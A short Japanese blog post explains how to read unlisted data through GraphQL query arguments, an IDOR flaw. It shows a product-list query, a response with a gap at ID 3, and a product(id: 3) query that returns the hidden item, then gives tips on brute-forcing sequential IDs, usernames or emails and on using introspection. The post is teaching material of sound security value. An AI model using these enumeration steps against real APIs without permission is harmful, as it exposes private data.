Shikata Ga Nai

Private? There is no such things.

GraphQLの引数を利用した未公開データの取得手法

Hello there, ('ω')ノ

🧪 攻撃手法:未サニタイズの引数を悪用する

GraphQL APIの中には、クエリの引数(arguments)を使って直接データにアクセスする仕組みを持つものがあります。このような設計では、アクセス制御が不十分な場合、存在するが表示されていない情報に不正アクセスできる可能性があります。

このような脆弱性は、特に「IDOR(Insecure Direct Object Reference)」として知られています。


🎯 例:非公開商品の情報を取得する

✅ 公開商品一覧の取得クエリ

query {
  products {
    id
    name
    listed
  }
}

📦 レスポンス例(表示されている商品)

{
  "data": {
    "products": [
      { "id": 1, "name": "Product 1", "listed": true },
      { "id": 2, "name": "Product 2", "listed": true },
      { "id": 4, "name": "Product 4", "listed": true }
    ]
  }
}

🔍 ここからわかること

  • 商品IDは連番で管理されているようだ
  • ID:3の商品が抜けている=非公開(delisted)になっている可能性

🚨 非公開商品の詳細を取得するクエリ

query {
  product(id: 3) {
    id
    name
    listed
  }
}

🕵️‍♂️ 結果(非公開商品の情報が取得できる)

{
  "data": {
    "product": {
      "id": 3,
      "name": "Product 3",
      "listed": false
    }
  }
}

🔑 脆弱性のポイント

  • クエリの引数にIDを指定するだけで、非公開情報にアクセス可能
  • アクセス制御が「UIに表示しないだけ」で終わっており、バックエンドでチェックしていない
  • 管理者や他ユーザーの情報、削除されたデータにもアクセスされる危険あり

🧠 攻略のコツ

  • idusernameemail など明示的なパラメータがあれば、連番・総当たりで試す
  • productsproduct(id: X) のようにオブジェクト単体取得用クエリがあれば積極的に試行
  • 特に GraphQL スキーマが公開(introspection有効)されていれば脆弱性を見つけやすい

Best regards, (^^ゞ